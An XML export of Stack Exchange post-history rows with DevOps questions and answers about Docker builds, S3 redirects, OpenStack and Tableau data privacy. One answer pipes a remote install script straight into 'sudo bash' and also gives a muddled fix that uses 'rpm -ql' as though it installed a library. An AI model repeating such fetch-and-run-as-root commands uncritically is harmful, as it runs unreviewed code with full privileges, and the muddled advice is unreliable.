  <row Id="33781" PostHistoryTypeId="2" PostId="11026" RevisionGUID="37201282-7fd0-421b-8bd7-49cd162e9f28" CreationDate="2020-03-09T04:56:54.287" UserId="17246" Text="I am developing an Erlang-OTP application, for that I use a docker image.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM centos&#xD;&#xA;LABEL Name=myimage Version=2.0.0&#xD;&#xA;&#xD;&#xA;RUN set -e \&#xD;&#xA;   &amp;&amp; yum -y install \&#xD;&#xA;      autoconf \&#xD;&#xA;      gcc \&#xD;&#xA;      gcc-c++ \&#xD;&#xA;      git \&#xD;&#xA;      glibc-devel \&#xD;&#xA;      make \&#xD;&#xA;      ncurses-devel \&#xD;&#xA;      tar \&#xD;&#xA;      curl&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ENV SSL_VERSION=&quot;1.0.2p&quot;&#xD;&#xA;&#xD;&#xA;RUN set -e \&#xD;&#xA;   &amp;&amp; mkdir -p /tmp/openssl \&#xD;&#xA;   &amp;&amp; cd /tmp \&#xD;&#xA;   &amp;&amp; curl -fSL -o openssl.sha256   http://www.openssl.org/source/openssl-${SSL_VERSION}.tar.gz.sha256 \&#xD;&#xA;   &amp;&amp; curl -fSL -o openssl.tar.gz http://www.openssl.org/source/openssl-${SSL_VERSION}.tar.gz \&#xD;&#xA;   &amp;&amp; SHA=$(printf &quot;%s  openssl.tar.gz&quot; `cat openssl.sha256` | sha256sum -c -); if [ &quot;openssl.tar.gz: OK&quot; != &quot;${SHA}&quot; ]; then exit 3; fi \&#xD;&#xA;   &amp;&amp; tar -zxf openssl.tar.gz -C /tmp/openssl --strip-components=1 \&#xD;&#xA;   &amp;&amp; cd /tmp/openssl \&#xD;&#xA;   &amp;&amp; ./Configure \&#xD;&#xA;         --prefix=/usr/local/ssl \&#xD;&#xA;         --openssldir=/usr/local/ssl \&#xD;&#xA;      linux-x86_64 \&#xD;&#xA;      shared \&#xD;&#xA;   &amp;&amp; make -j4 \&#xD;&#xA;   &amp;&amp; make install \&#xD;&#xA;   &amp;&amp; rm -Rf /tmp/openssl*&#xD;&#xA;&#xD;&#xA;ENV OTP_VERSION=&quot;20.3.6&quot;&#xD;&#xA;ENV WITH_NATIVE=true&#xD;&#xA;&#xD;&#xA;RUN set -e \&#xD;&#xA;   &amp;&amp; mkdir -p /tmp/otp_src \&#xD;&#xA;   &amp;&amp; cd /tmp \&#xD;&#xA;   &amp;&amp; curl --tlsv1.2 -fSL -o otp_src.tar.gz https://github.com/erlang/otp/archive/OTP-20.3.6.tar.gz \&#xD;&#xA;   &amp;&amp; tar -zxf otp_src.tar.gz -C /tmp/otp_src --strip-components=1 \&#xD;&#xA;   &amp;&amp; cd /tmp/otp_src \&#xD;&#xA;   &amp;&amp; ./otp_build autoconf \&#xD;&#xA;   &amp;&amp; ./configure \&#xD;&#xA;         --prefix=/usr/local/otp \&#xD;&#xA;         --enable-threads \&#xD;&#xA;         --enable-smp-support \&#xD;&#xA;         --enable-kernel-poll \&#xD;&#xA;         --disable-dynamic-ssl-lib \&#xD;&#xA;         --with-ssl=/usr/local/ssl \&#xD;&#xA;         `test &quot;${WITH_NATIVE}&quot; = &quot;true&quot; &amp;&amp; echo &quot;--enable-hipe --enable-native-libs&quot;` \&#xD;&#xA;   &amp;&amp; make -j4 \&#xD;&#xA;   &amp;&amp; make install \&#xD;&#xA;   &amp;&amp; ln -s /usr/local/otp_${OTP_VERSION} /usr/local/otp \&#xD;&#xA;   &amp;&amp; rm -Rf /tmp/otp_src*&#xD;&#xA;&#xD;&#xA;ENV PATH $PATH:/usr/local/otp/bin&#xD;&#xA;&#xD;&#xA;RUN set -e \&#xD;&#xA;   &amp;&amp; yum -y install \&#xD;&#xA;      which&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ENV REBAR3_VERSION=&quot;3.6.1&quot;&#xD;&#xA;&#xD;&#xA;RUN set -xe \&#xD;&#xA;	&amp;&amp; REBAR3_DOWNLOAD_URL=&quot;https://github.com/erlang/rebar3/archive/${REBAR3_VERSION}.tar.gz&quot; \&#xD;&#xA;	&amp;&amp; REBAR3_DOWNLOAD_SHA256=&quot;40b3c85440f3235c7b149578d0211bdf57d1c66390f888bb771704f8abc71033&quot; \&#xD;&#xA;	&amp;&amp; mkdir -p /usr/src/rebar3-src \&#xD;&#xA;	&amp;&amp; curl --tlsv1.2 -fSL -o rebar3-src.tar.gz &quot;$REBAR3_DOWNLOAD_URL&quot; \&#xD;&#xA;	&amp;&amp; echo &quot;$REBAR3_DOWNLOAD_SHA256 rebar3-src.tar.gz&quot; | sha256sum -c - \&#xD;&#xA;	&amp;&amp; tar -xzf rebar3-src.tar.gz -C /usr/src/rebar3-src --strip-components=1 \&#xD;&#xA;	&amp;&amp; rm rebar3-src.tar.gz \&#xD;&#xA;	&amp;&amp; cd /usr/src/rebar3-src \&#xD;&#xA;	&amp;&amp; HOME=$PWD ./bootstrap \&#xD;&#xA;	&amp;&amp; install -v ./rebar3 /usr/local/bin/ \&#xD;&#xA;	&amp;&amp; rm -rf /usr/src/rebar3-src&#xD;&#xA;&#xD;&#xA;RUN mkdir /myimage&#xD;&#xA;WORKDIR /myimage&#xD;&#xA;```&#xD;&#xA;`sudo docker-compose build`&#xD;&#xA;&#xD;&#xA;`sudo docker-compose run --rm myimage bash`&#xD;&#xA;&#xD;&#xA;When I try to run production tar created by `Ubuntu-18.04`&#xD;&#xA;&#xD;&#xA;&gt; error while loading shared libraries: libtinfo.so.6: cannot open shared object file: No such file or directory.&#xD;&#xA;&#xD;&#xA;I dont get any error while compiling. When I create this tar from `Debian-9`, it runs without error.&#xD;&#xA;&#xD;&#xA;Debian machine has locally installed `erlang-otp`, but Ubuntu doesnt have." ContentLicense="CC BY-SA 4.0" />
  <row Id="33782" PostHistoryTypeId="1" PostId="11026" RevisionGUID="37201282-7fd0-421b-8bd7-49cd162e9f28" CreationDate="2020-03-09T04:56:54.287" UserId="17246" Text="error while loading shared libraries: libtinfo.so.6 : two behaviors for same docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="33783" PostHistoryTypeId="3" PostId="11026" RevisionGUID="37201282-7fd0-421b-8bd7-49cd162e9f28" CreationDate="2020-03-09T04:56:54.287" UserId="17246" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33788" PostHistoryTypeId="2" PostId="11028" RevisionGUID="c680b374-1a64-4a16-b25a-24da4ac28d99" CreationDate="2020-03-09T15:06:56.427" UserId="18301" Text="I'm trying to configure path redirect for Amazon S3 bucket static content (&lt;bucket&gt; → Properties → Static website hosting → Redirection rules). &#xD;&#xA;&#xD;&#xA;Simple rules, such as in [instruction][1], work properly.&#xD;&#xA;&#xD;&#xA;Is it possible to configure redirect rules with variables, e.g.:&#xD;&#xA;/cleint/{id} -&gt; https://example.com/some_path/{id},&#xD;&#xA;where {id} is a client identifier. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/how-to-page-redirect.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="33789" PostHistoryTypeId="1" PostId="11028" RevisionGUID="c680b374-1a64-4a16-b25a-24da4ac28d99" CreationDate="2020-03-09T15:06:56.427" UserId="18301" Text="Variables in Amazon S3 redirect rules" ContentLicense="CC BY-SA 4.0" />
  <row Id="33790" PostHistoryTypeId="3" PostId="11028" RevisionGUID="c680b374-1a64-4a16-b25a-24da4ac28d99" CreationDate="2020-03-09T15:06:56.427" UserId="18301" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;http&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33795" PostHistoryTypeId="5" PostId="11028" RevisionGUID="d55436bf-9511-4cf1-a4a5-a920c1af5a76" CreationDate="2020-03-09T16:15:30.697" UserId="18301" Comment="added 1 character in body" Text="I'm trying to configure path redirect for Amazon S3 bucket static content (&lt;bucket&gt; → Properties → Static website hosting → Redirection rules). &#xD;&#xA;&#xD;&#xA;Simple rules, such as in [instruction][1], work properly.&#xD;&#xA;&#xD;&#xA;Is it possible to configure redirect rules with variables?&#xD;&#xA;E.g.:&#xD;&#xA;/cleint/{id} -&gt; https://example.com/some_path/{id},&#xD;&#xA;where {id} is a client identifier. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/how-to-page-redirect.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="33796" PostHistoryTypeId="2" PostId="11031" RevisionGUID="eec8d2c9-df77-4ff7-b945-5a2472b4cba0" CreationDate="2020-03-09T16:19:48.960" UserId="20136" Text="I have a couple of questions related to the usage of Docker in a development environment. I am going to propose three different scenarios of how I think Docker could be used in a development environment. Let's imagine that we are creating a REST API in Java and Spring Boot. For this I will need a MySQL database.&#xD;&#xA;&#xD;&#xA;1. The first scenario is to have a docker-compose for development with the MySQL container and a production docker-compose with MySQL and the Java application (jar) in another container. To develop I launch the docker-compose-dev.yml to start only the database. The application is launched and debugged using the IDE, for example, IntelliJ Idea. Any changes made to the code, the IDE will recognize and relaunch the application by applying the changes.&#xD;&#xA;&#xD;&#xA;2. The second scenario is to have, for both the development and production environment, a docker-compose with the database and application containers. That way, every time I make a change in the code, I have to rebuild the image so that the changes are loaded in the image and the containers are lauched again. This scenario may be the most typical and used for development with Docker, but it seems very slow due to the need to rebuild the image every time there is a change.&#xD;&#xA;&#xD;&#xA;3. The third scenario consists of the mixture of the previous two. Two docker-compose. The development docker-compose contains both containers, but with mechanisms that allow a live reload of the application, mapping volumes and using, for example, Spring Dev Tools. In this way, the containers are launched and, in case of any change in the files, the application container will detect that there is a change and will be relaunched. For production, a docker-compose would be created simply with both containers, but without the functionality of live reload. This would be the ideal scenario, in my opinion, but I think it is very dependent on the technologies used since not all allow live reload.&#xD;&#xA;&#xD;&#xA;The questions are as follows.&#xD;&#xA;&#xD;&#xA;- Which of these scenarios is the most typical when using Docker for development?&#xD;&#xA;&#xD;&#xA;- Is scenario 1 well raised? That is, dockerize only external services, such as databases, queues, etc. and perform the development and debugging of the application with the IDE without using Docker for it.&#xD;&#xA;&#xD;&#xA;The doubts and the scenarios that I raise came up after I raised the problem that scenario 2 has. With each change in the code, having to rebuild the image and start the containers again is a significant waste of time. In short, a question would be: How to avoid this?&#xD;&#xA;&#xD;&#xA;Thanks in advance for your time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33797" PostHistoryTypeId="1" PostId="11031" RevisionGUID="eec8d2c9-df77-4ff7-b945-5a2472b4cba0" CreationDate="2020-03-09T16:19:48.960" UserId="20136" Text="Workflow with docker in the development environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="33798" PostHistoryTypeId="3" PostId="11031" RevisionGUID="eec8d2c9-df77-4ff7-b945-5a2472b4cba0" CreationDate="2020-03-09T16:19:48.960" UserId="20136" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33799" PostHistoryTypeId="5" PostId="11031" RevisionGUID="cac7c56d-4076-41f2-9ce2-dd667ff95811" CreationDate="2020-03-09T16:26:07.070" UserId="20020" Comment="fix a typo" Text="I have a couple of questions related to the usage of Docker in a development environment. I am going to propose three different scenarios of how I think Docker could be used in a development environment. Let's imagine that we are creating a REST API in Java and Spring Boot. For this, I will need a MySQL database.&#xD;&#xA;&#xD;&#xA;1. The first scenario is to have a docker-compose for development with the MySQL container and a production docker-compose with MySQL and the Java application (jar) in another container. To develop I launch the docker-compose-dev.yml to start only the database. The application is launched and debugged using the IDE, for example, IntelliJ Idea. Any changes made to the code, the IDE will recognize and relaunch the application by applying the changes.&#xD;&#xA;&#xD;&#xA;2. The second scenario is to have, for both the development and production environment, a docker-compose with the database and application containers. That way, every time I make a change in the code, I have to rebuild the image so that the changes are loaded in the image and the containers are launched again. This scenario may be the most typical and used for development with Docker, but it seems very slow due to the need to rebuild the image every time there is a change.&#xD;&#xA;&#xD;&#xA;3. The third scenario consists of a mixture of the previous two. Two docker-compose. The development docker-compose contains both containers, but with mechanisms that allow a live reload of the application, mapping volumes and using, for example, Spring Dev Tools. In this way, the containers are launched and, in case of any change in the files, the application container will detect that there is a change and will be relaunched. For production, a docker-compose would be created simply with both containers, but without the functionality of live reload. This would be the ideal scenario, in my opinion, but I think it is very dependent on the technologies used since not all allow live reload.&#xD;&#xA;&#xD;&#xA;The questions are as follows.&#xD;&#xA;&#xD;&#xA;- Which of these scenarios is the most typical when using Docker for development?&#xD;&#xA;&#xD;&#xA;- Is scenario 1 well raised? That is, dockerize only external services, such as databases, queues, etc. and perform the development and debugging of the application with the IDE without using Docker for it.&#xD;&#xA;&#xD;&#xA;The doubts and the scenarios that I raise came up after I raised the problem that scenario 2 has. With each change in the code, having to rebuild the image and start the containers again is a significant waste of time. In short, a question would be: How to avoid this?&#xD;&#xA;&#xD;&#xA;Thanks in advance for your time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33800" PostHistoryTypeId="24" PostId="11031" RevisionGUID="cac7c56d-4076-41f2-9ce2-dd667ff95811" CreationDate="2020-03-09T16:26:07.070" Comment="Proposed by 20020 approved by 20136 edit id of 1165" ContentLicense="CC BY-SA 4.0" />
  <row Id="33801" PostHistoryTypeId="2" PostId="11032" RevisionGUID="7b759f75-e17e-4608-911d-1cb2e9667961" CreationDate="2020-03-09T18:28:54.377" UserId="18007" Text="The issue was with the wrong UID and GID of the user. after I've changed it from jenkins to 1000 1000 recursively, issue solved." ContentLicense="CC BY-SA 4.0" />
  <row Id="33802" PostHistoryTypeId="2" PostId="11033" RevisionGUID="4ce58c14-5802-42be-92e2-0cc7f4be6e29" CreationDate="2020-03-09T21:46:00.830" UserId="19154" Text="In OpenStack Liberty with Keystone API v3, I need to get a list of users which are members of a project.&#xD;&#xA;Preferably, I would need this list for every project but not only the list of all users which I know to how get.&#xD;&#xA;I tried tried to add `--names` to the command but it wasn't recognised. &#xD;&#xA;I was only able to get a project id with usernames ID.&#xD;&#xA;It should be similar to the table in the link:&#xD;&#xA;https://ask.openstack.org/en/question/57710/what-is-the-equivalent-command-for-user-role-list-in-openstack-client-for-v3-api/?answer=109185#post-id-109185&#xD;&#xA;Note: I'm not allowed to upgrade OpenStack environment version. " ContentLicense="CC BY-SA 4.0" />
  <row Id="33803" PostHistoryTypeId="1" PostId="11033" RevisionGUID="4ce58c14-5802-42be-92e2-0cc7f4be6e29" CreationDate="2020-03-09T21:46:00.830" UserId="19154" Text="OpenStack cli get list of usernames in project/s" ContentLicense="CC BY-SA 4.0" />
  <row Id="33804" PostHistoryTypeId="3" PostId="11033" RevisionGUID="4ce58c14-5802-42be-92e2-0cc7f4be6e29" CreationDate="2020-03-09T21:46:00.830" UserId="19154" Text="&lt;openstack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33805" PostHistoryTypeId="36" PostId="11034" RevisionGUID="ec928a48-16d5-4fa6-9e71-e529f6e5f0cd" CreationDate="2020-03-09T23:15:06.937" UserId="-1" Comment="from https://datascience.stackexchange.com/questions/69413/company-is-worried-about-exposing-our-pii-to-tableau-can-we-run-tableau-without" />
  <row Id="33806" PostHistoryTypeId="2" PostId="11034" RevisionGUID="d61fa35d-8528-4037-afa3-ad82e957782c" CreationDate="2020-03-09T21:55:56.867" UserDisplayName="parchambeau" Text="I'm looking to understand a bit more from the technical side about how Tableau (The company itself) works with the data that everyone is providing them. &#xD;&#xA;&#xD;&#xA;My company is looking to use Tableau as our main visualization tool as we grow larger, but we have a lot PII data, and just confidential data in general that we are not able to expose for compliance reasons to any 3rd parties. &#xD;&#xA;&#xD;&#xA;Is there a way to run Tableau, and take advantage of all of the features that it has (Or a majority subset) in a way where we can still make connections to our reporting databases (MySQL/Postgres/RedShift), and also in such a way that a team of Data scientists can all access this information together, but silo it so that none of this information ever touches the Tableau company servers? &#xD;&#xA;&#xD;&#xA;I know that most likely in good faith they do not store this information, but that is not enough for compliance reasons for us to work off of.&#xD;&#xA;&#xD;&#xA;If I had an inherent mis understanding of the way in which Tableau operates I apologize, would love to learn more! &#xD;&#xA;&#xD;&#xA;Thanks for the help" ContentLicense="CC BY-SA 4.0" />
  <row Id="33807" PostHistoryTypeId="1" PostId="11034" RevisionGUID="d61fa35d-8528-4037-afa3-ad82e957782c" CreationDate="2020-03-09T21:55:56.867" UserDisplayName="parchambeau" Text="Company is worried about exposing our PII to Tableau, Can we run Tableau without exposing our data to any 3rd parties?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33808" PostHistoryTypeId="3" PostId="11034" RevisionGUID="d61fa35d-8528-4037-afa3-ad82e957782c" CreationDate="2020-03-09T21:55:56.867" UserDisplayName="parchambeau" Text="&lt;untagged&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33809" PostHistoryTypeId="2" PostId="11035" RevisionGUID="f35f48f1-6aff-49b3-82a6-d3e81859ad70" CreationDate="2020-03-10T00:17:30.073" UserId="20142" Text="The syntax is the below one:&#xD;&#xA;&#xD;&#xA;    {% if backup_dest[0:1]  == &quot;/&quot; %}&#xD;&#xA;&#xD;&#xA;=&gt; this one tests if &quot;backup_dest&quot; first character is &quot;/&quot;&#xD;&#xA;&#xD;&#xA;    {% if variable == &quot;blabla&quot; %}&#xD;&#xA;&#xD;&#xA;=&gt; this one tests if &quot;variable&quot; equals to &quot;blabla&quot;&#xD;&#xA;&#xD;&#xA;Regards" ContentLicense="CC BY-SA 4.0" />
  <row Id="33820" PostHistoryTypeId="2" PostId="11038" RevisionGUID="32fea9d4-b26c-471f-9cda-07a95f01f582" CreationDate="2020-03-10T12:15:14.287" UserId="707" Text="While running a Docker container inside another Docker container, how to get parent container's ID?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33821" PostHistoryTypeId="1" PostId="11038" RevisionGUID="32fea9d4-b26c-471f-9cda-07a95f01f582" CreationDate="2020-03-10T12:15:14.287" UserId="707" Text="How to get parent Docker container ID in docker-in-docker-context?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33822" PostHistoryTypeId="3" PostId="11038" RevisionGUID="32fea9d4-b26c-471f-9cda-07a95f01f582" CreationDate="2020-03-10T12:15:14.287" UserId="707" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33826" PostHistoryTypeId="2" PostId="11040" RevisionGUID="abb73963-d9ee-4c51-ba0b-7bceaf743729" CreationDate="2020-03-10T16:05:11.540" UserId="20042" Text="There is [Docker's known issue #37531](https://github.com/moby/moby/issues/37531)&#xD;&#xA;&#xD;&#xA;To fix dependencies, you might try:&#xD;&#xA;&#xD;&#xA;1. Either upgrade `Docker` to 17.02&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;curl -sSL https://get.docker.com/ | sudo bash&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;2. or install lib inside of container.&#xD;&#xA;Since your container based on Centos (`FROM centos`), so try `yum install`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;rpm -ql libXtst-devel-1.2.2-2.1.el6.x86_64&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="33827" PostHistoryTypeId="2" PostId="11041" RevisionGUID="2f3e49f2-2c66-4cbf-b044-de861ed9ddf9" CreationDate="2020-03-10T16:19:33.243" UserId="16059" Text="We use kubernetes / minikube rather than docker-compose, but its the same problem. &#xD;&#xA;We generally go with option #1 as:&#xD;&#xA;&#xD;&#xA; - Development is 99% getting the app right.&#xD;&#xA; - You want to be able to iterate fast/freely with your app.&#xD;&#xA; - You want easy use of your debugger / IDE without inhibition.&#xD;&#xA; - It lets you avoid configuring / managing remote debuggers from within the docker container.&#xD;&#xA;  - If you did this in the container, you'd have to worry about making sure you didn't actually put it in prod as it can be harmful; see below.&#xD;&#xA;&#xD;&#xA;For most code changes, we actually just have GitLab-CI set up so that it test-builds/deploys the container/app on check in (on their own branch/space).  That way, most developers don't even need to think about the container part unless they're making mods to that area.  But, obviously you'd still want them being able to run the MySQL container locally and easily.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Remote Debugging Info&#xD;&#xA;&#xD;&#xA;https://jaxenter.com/remote-debugging-java-applications-151466.html&#xD;&#xA;&#xD;&#xA;&gt; **Warning: Don’t keep remote debugging JVM arguments ON always, as it has following downsides:**&#xD;&#xA;&#xD;&#xA;&gt; Remote debugging mode disables several optimizations that JVM does to application to optimize the performance. All those optimizations will be lost.&#xD;&#xA;Remote debugging opens up a port. It’s a security risk, as anyone who can hit the server can initiate remote debugging" ContentLicense="CC BY-SA 4.0" />
  <row Id="33828" PostHistoryTypeId="2" PostId="11042" RevisionGUID="f622775d-96b4-471c-a4b4-e7ab2148394d" CreationDate="2020-03-10T16:24:32.250" UserId="20042" Text="There are several alternatives:&#xD;&#xA;&#xD;&#xA;* since you are `looking to use Tableau as our main visualization tool`, you might try other on-premise alternatives, such as:&#xD;&#xA;  * [Pentaho Community Edition](https://community.hitachivantara.com/s/pentaho)&#xD;&#xA;  * [QlikView on-premise](https://www.qlik.com/us/products/qlikview/customer-resources)&#xD;&#xA;* Also, there is [on-premise](https://www.tableau.com/pricing/teams-orgs#server) license for Tableau" ContentLicense="CC BY-SA 4.0" />
  <row Id="33829" PostHistoryTypeId="5" PostId="11026" RevisionGUID="fd0b7c5f-e20d-460e-9805-baebd121ead3" CreationDate="2020-03-10T17:24:03.913" UserId="20042" Comment="formatting" Text="I am developing an Erlang-OTP application, for that I use a docker image.&#xD;&#xA;&#xD;&#xA;`docker-compose.yml`:&#xD;&#xA;```&#xD;&#xA;FROM centos&#xD;&#xA;LABEL Name=myimage Version=2.0.0&#xD;&#xA;&#xD;&#xA;RUN set -e \&#xD;&#xA;   &amp;&amp; yum -y install \&#xD;&#xA;      autoconf \&#xD;&#xA;      gcc \&#xD;&#xA;      gcc-c++ \&#xD;&#xA;      git \&#xD;&#xA;      glibc-devel \&#xD;&#xA;      make \&#xD;&#xA;      ncurses-devel \&#xD;&#xA;      tar \&#xD;&#xA;      curl&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ENV SSL_VERSION=&quot;1.0.2p&quot;&#xD;&#xA;&#xD;&#xA;RUN set -e \&#xD;&#xA;   &amp;&amp; mkdir -p /tmp/openssl \&#xD;&#xA;   &amp;&amp; cd /tmp \&#xD;&#xA;   &amp;&amp; curl -fSL -o openssl.sha256   http://www.openssl.org/source/openssl-${SSL_VERSION}.tar.gz.sha256 \&#xD;&#xA;   &amp;&amp; curl -fSL -o openssl.tar.gz http://www.openssl.org/source/openssl-${SSL_VERSION}.tar.gz \&#xD;&#xA;   &amp;&amp; SHA=$(printf &quot;%s  openssl.tar.gz&quot; `cat openssl.sha256` | sha256sum -c -); if [ &quot;openssl.tar.gz: OK&quot; != &quot;${SHA}&quot; ]; then exit 3; fi \&#xD;&#xA;   &amp;&amp; tar -zxf openssl.tar.gz -C /tmp/openssl --strip-components=1 \&#xD;&#xA;   &amp;&amp; cd /tmp/openssl \&#xD;&#xA;   &amp;&amp; ./Configure \&#xD;&#xA;         --prefix=/usr/local/ssl \&#xD;&#xA;         --openssldir=/usr/local/ssl \&#xD;&#xA;      linux-x86_64 \&#xD;&#xA;      shared \&#xD;&#xA;   &amp;&amp; make -j4 \&#xD;&#xA;   &amp;&amp; make install \&#xD;&#xA;   &amp;&amp; rm -Rf /tmp/openssl*&#xD;&#xA;&#xD;&#xA;ENV OTP_VERSION=&quot;20.3.6&quot;&#xD;&#xA;ENV WITH_NATIVE=true&#xD;&#xA;&#xD;&#xA;RUN set -e \&#xD;&#xA;   &amp;&amp; mkdir -p /tmp/otp_src \&#xD;&#xA;   &amp;&amp; cd /tmp \&#xD;&#xA;   &amp;&amp; curl --tlsv1.2 -fSL -o otp_src.tar.gz https://github.com/erlang/otp/archive/OTP-20.3.6.tar.gz \&#xD;&#xA;   &amp;&amp; tar -zxf otp_src.tar.gz -C /tmp/otp_src --strip-components=1 \&#xD;&#xA;   &amp;&amp; cd /tmp/otp_src \&#xD;&#xA;   &amp;&amp; ./otp_build autoconf \&#xD;&#xA;   &amp;&amp; ./configure \&#xD;&#xA;         --prefix=/usr/local/otp \&#xD;&#xA;         --enable-threads \&#xD;&#xA;         --enable-smp-support \&#xD;&#xA;         --enable-kernel-poll \&#xD;&#xA;         --disable-dynamic-ssl-lib \&#xD;&#xA;         --with-ssl=/usr/local/ssl \&#xD;&#xA;         `test &quot;${WITH_NATIVE}&quot; = &quot;true&quot; &amp;&amp; echo &quot;--enable-hipe --enable-native-libs&quot;` \&#xD;&#xA;   &amp;&amp; make -j4 \&#xD;&#xA;   &amp;&amp; make install \&#xD;&#xA;   &amp;&amp; ln -s /usr/local/otp_${OTP_VERSION} /usr/local/otp \&#xD;&#xA;   &amp;&amp; rm -Rf /tmp/otp_src*&#xD;&#xA;&#xD;&#xA;ENV PATH $PATH:/usr/local/otp/bin&#xD;&#xA;&#xD;&#xA;RUN set -e \&#xD;&#xA;   &amp;&amp; yum -y install \&#xD;&#xA;      which&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ENV REBAR3_VERSION=&quot;3.6.1&quot;&#xD;&#xA;&#xD;&#xA;RUN set -xe \&#xD;&#xA;	&amp;&amp; REBAR3_DOWNLOAD_URL=&quot;https://github.com/erlang/rebar3/archive/${REBAR3_VERSION}.tar.gz&quot; \&#xD;&#xA;	&amp;&amp; REBAR3_DOWNLOAD_SHA256=&quot;40b3c85440f3235c7b149578d0211bdf57d1c66390f888bb771704f8abc71033&quot; \&#xD;&#xA;	&amp;&amp; mkdir -p /usr/src/rebar3-src \&#xD;&#xA;	&amp;&amp; curl --tlsv1.2 -fSL -o rebar3-src.tar.gz &quot;$REBAR3_DOWNLOAD_URL&quot; \&#xD;&#xA;	&amp;&amp; echo &quot;$REBAR3_DOWNLOAD_SHA256 rebar3-src.tar.gz&quot; | sha256sum -c - \&#xD;&#xA;	&amp;&amp; tar -xzf rebar3-src.tar.gz -C /usr/src/rebar3-src --strip-components=1 \&#xD;&#xA;	&amp;&amp; rm rebar3-src.tar.gz \&#xD;&#xA;	&amp;&amp; cd /usr/src/rebar3-src \&#xD;&#xA;	&amp;&amp; HOME=$PWD ./bootstrap \&#xD;&#xA;	&amp;&amp; install -v ./rebar3 /usr/local/bin/ \&#xD;&#xA;	&amp;&amp; rm -rf /usr/src/rebar3-src&#xD;&#xA;&#xD;&#xA;RUN mkdir /myimage&#xD;&#xA;WORKDIR /myimage&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Commands to run `docker-compose`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;sudo docker-compose build&#xD;&#xA;sudo docker-compose run --rm myimage bash&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I try to run production tar created by `Ubuntu-18.04`, I get:&#xD;&#xA;&#xD;&#xA;&gt; error while loading shared libraries: libtinfo.so.6: cannot open shared object file: No such file or directory.&#xD;&#xA;&#xD;&#xA;I dont get any error while compiling. When I create this tar from `Debian-9`, it runs without error.&#xD;&#xA;&#xD;&#xA;Debian machine has locally installed `erlang-otp`, but Ubuntu doesnt have." ContentLicense="CC BY-SA 4.0" />
  <row Id="33830" PostHistoryTypeId="24" PostId="11026" RevisionGUID="fd0b7c5f-e20d-460e-9805-baebd121ead3" CreationDate="2020-03-10T17:24:03.913" Comment="Proposed by 20042 approved by 40 edit id of 1166" ContentLicense="CC BY-SA 4.0" />
  <row Id="33833" PostHistoryTypeId="2" PostId="11043" RevisionGUID="cd31d44d-0afb-4671-ae61-2aea7ba33ad4" CreationDate="2020-03-10T18:13:34.317" UserId="20136" Text="Having the following architecture:&#xD;&#xA;&#xD;&#xA;- Microservice 1 + DB (microservice1/docker-compose.yml)&#xD;&#xA;- Microservice 2 + DB (microservice2/docker-compose.yml)&#xD;&#xA;- Proxy (proxy/docker-compose.yml)&#xD;&#xA;&#xD;&#xA;Which of the following options would be the best to deploy in the production environment?&#xD;&#xA;&#xD;&#xA;1. Docker Compose Overriding. Have a docker-compose for each microservice and another docker-compose for the proxy. When the production deployment is done, all the docker-compose would be merged to create only one (with `docker-compose -f microservice1/docker-compose.yml -f microservice2/docker-compose.yml -f proxy/docker-compose.yml up`. In this way, the proxy container, for example nginx, would have access to microservices to be able to redirect to one or the other depending on the request.&#xD;&#xA;2. Shared external network. Have a docker-compose for each microservice and another docker-compose for the proxy. First, an external network would have to be created to link the proxy container with microservices.`docker network create nginx_network`. Then, in each docker-compose file, this network should be referenced in the necessary containers so that the proxy has visibility of the microservices and thus be able to use them in the configuration. An example is in the following link https://stackoverflow.com/a/48081535/6112286.&#xD;&#xA;&#xD;&#xA;The first option is simple, but offers little felxibility when configuring many microservices or applications, since all docker-compose of all applications would need to be merged to generate the final configuration. The second option uses networks, which are a fundamental pillar of Docker. On the other hand, you don't need all docker-compose to be merged.&#xD;&#xA;&#xD;&#xA;Of these two options, given the scenario of having several microservices and needing a single proxy to configure access, which would be the best? Why?&#xD;&#xA;&#xD;&#xA;Tnahks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="33834" PostHistoryTypeId="1" PostId="11043" RevisionGUID="cd31d44d-0afb-4671-ae61-2aea7ba33ad4" CreationDate="2020-03-10T18:13:34.317" UserId="20136" Text="Multiple apps (microservices) and one proxy (nginx) docker-compose configuration/architecture" ContentLicense="CC BY-SA 4.0" />
